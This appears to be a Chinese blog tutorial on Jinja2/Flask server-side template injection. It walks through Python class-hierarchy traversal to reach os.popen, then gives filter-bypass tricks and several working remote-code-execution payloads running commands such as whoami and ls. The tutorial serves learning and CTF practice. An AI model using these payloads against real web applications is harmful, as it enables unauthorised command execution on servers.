首页 > 其他分享 >SSTI

SSTI

时间:2024-06-01 19:55:29浏览次数:19  
标签:__ .__ globals popen __.__ SSTI class

SSTI

模板引擎:动态数据和静态模板结合产生的输出工具

ssti:是服务器端的模板注入漏洞

攻击者 将恶意代码输入到模板 服务器在执行时未对恶意代码进行处理 就输出执行

将字符串 当作模板执行

ssti注入就是使其渲染我们想要执行的的字符串

image-20240601165234732

为什么要用{}

{{}}在jinja2中作为变量包裹标识符,也就是被{{}}包裹的内容会被当作变量解析出来

所以{{恶意代码}} 实现类似SQL注入

image-20240601104448809

魔术方法

__class__   :返回类型所属的对象
__mro__     :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类

__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
read():读取打开了的文件的内容

继承关系

image-20240601123101601

创建四个类 依次继承

在创建一个C的对象c,用__class__找到他当前的类

image-20240601105943388

返回类为C 接着找父类

image-20240601110032154

返回为B 接着找父类 直到父类为object

image-20240601110203692

或者直接一步到位使用__mro__

image-20240601110315274

__mro__方法以数组的形式返回 可以传入’标‘ 得到想要的数组

image-20240601110346404

image-20240601110359881

得到object之后 查看object类下的所有的子类

image-20240601110719068

我们最终的目的是为执行命令获取字段 所以要找能执行命令的函数,如

popenevalsystem()函数或者能打开文件的函数open

一般情况下会用popen函数 因为system()函数没回显,popen函数有回显

所以 需要知道这些子类里面哪个有能执行命令的函数

<wrap_close>子类就是其中之一

image-20240601114623672

接着初始化 初始化相当于 创建一个新的实例

然后用__globals__方法将获取到的方法以字典的形式返回

image-20240601115537988

接下来 可以用popen函数执行命令 执行一下whoami

image-20240601115844137

image-20240601115905956

绕过

{{"".__class__}}
绕过.

[]代替.

{{""['__class__']}}

用attr()过滤器绕过

{{""|sttr('__class__')}}
绕过_

十六进制编码

{{“”["\x5f\x5fclass\x5f\x5f"]}}
绕过[]

__getitem__ 魔术方法

__subclasses()__.__getitem__(133)
绕过{

{%print(xxxxxxxxxxxx)%}

{%print(“”.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read())%}

for循环

{%for i in ''.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
绕过'"

采用 request.args.a

{{url_for.__globals__['__builtins__']}} 			等于
{{url_for.__globals__[request.args.a]}}&a=__builtins__
绕过args

当args被过滤掉时,采用request.cookies.arequest.values.a

{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'

image-20240601151417812

image-20240601151506771

绕过数字

构造的数字

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}}   #117

10个a*12个a-3个a=117个a

构造paylaod

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}
绕过关键字

拼接绕过 如 __class__

{{dict(__cla=a,s=b)|join}}

语句

From Tuple to RCE
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}

{%for(x)in().__class__.__base__.__subclasses__()%}for循环 遍历object的每一个子类

{%if'war'in(x).__name__ %}判断子类名称中是否含有 war

条件为真就执行以下代码

{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}, 实例化找到的子类 (x()),访问该实例的模块属性,然后访问内置模块 __builtins__..

From Flask g to RCE
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

g全局变量,pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

大概就是 返回全局变量里的最后一个值

From url_for to RCE
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

url_for 用于构建指定函数的url

From
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

image-20240601194423068

标签:__,.__,globals,popen,__.__,SSTI,class
From: https://www.cnblogs.com/Yolololo/p/18226310

相关文章

  • BUUCTF SSTI模板注入
    BUUCTFSSTI模板注入基础原理SSTI模板注入(Server-SideTemplateInjection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的一般特征函数:render_template_stringSSTI_flask_labs可以看到数据被解析了,那么怎么注......
  • [SCTF 2021]loginme go语言ssti漏洞
    今天做个新颖的题,go中的ssti问题。进来点击访问/admin/index?id=1发现空白,只有admin能看,看看源码main.go。点击查看代码packagemainimport( "html/template" "loginme/middleware" "loginme/route" "loginme/templates" "github.com/gin-gonic/gin&quo......
  • CMake Professtional-2 Variables
    set(varNamevalue...[PARENT_SCOPE])cmake中所有的值都是string,如果同时添加多个值,会自动添加;set(myVarabc)#myVar="a;b;c"set(myVara;b;c)#myVar="a;b;c"set(myVar"abc")#myVar="abc"set(myVarab;c)#myVar=&q......
  • CMake Professtional-1 Introduction
    thestageofcmakeGeneratingProjectFileschooseaprojectgenerator:Ninja,UnixMakefiles,MSYSMakefilesmkdirbuildcdbuildcmake-G"UnixMakefiles"../source#use--helpcandisplaythevariablecmake-G-hbuildingtoolcmake--bui......
  • 【 攻防实操系列+漏洞复现 】-- Jinja2 SSTI模板注入
    框架:python---Flask描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2漏洞复现:Jinja2SSTI模板注入使用vulhub靶场,启动环境先进入容器看一下web服务的代码,得出参数值为name,且可控判断是否存在ssti漏洞,输入:?name={{1*9}},......
  • SSTI.
    SSTI晚上学长讲了ssti我好像要长脑子了..源于一道ssti的签到题sstissti:服务器端模板注入漏洞{为什么利用{{}}来执行ssti语句a=''.__class__.__base__.__subclasses__()‘’一个实例例如print('i')//打印字符串__class__类的内置属性,返回该实例的类型__base__......
  • flask之ssti模版注入从零到入门
    前言在学习ssti模版注入的时候,发现国内文章对于都是基于python基础之上的,对于基础代码讲的较少,而对于一些从事安全的新手师傅们,可能python只停留在写脚本上,所以上手的时候可能有点难度,毕竟不是搞pythonflask开发。就本人学习ssti而言,入手有点难度,所以特写此文,对于一些不需要深......
  • Thymeleaf SSTI模板注入分析
    环境搭建先搭建一个SpringMVC项目,参考这篇文章,或者参考我以前的spring内存马分析那篇文章https://blog.csdn.net/weixin_65287123/article/details/136648903SpringMVC路由简单写个servletpackagecom.example.controller;importorg.springframework.stereotype.Controlle......
  • WEB专项-文件上传&命令执行&SSTI模板注入&其他
    文件上传一、Upload11.进入靶场,是一个文件上传功能的页面,尝试上传一个一句话木马去getshell。2.发现提示是notimage,那就通过burp抓包进行类型的修改。3.但却提示我这个是php代码,看来对文件的后缀名进行了过滤,那就将其后缀名改为jpg。4.又提示我文件中包含<?,那接下来......
  • 学警杯SSTI复现以及SSTI一类题目核心思路
    本题知识点:漏洞存在原因以及基本思路:开发者在涉及程序网页时为了方便将HTML语言作为一个字符串写进了一个python语句中而造成,通过对某个参数传参,进行查找调用python内部的命令执行语句,获得控制权。参考文章:SSTI_OF_FLASK-Huamang'sBlog类似以下题目把HTML语言写在pytho......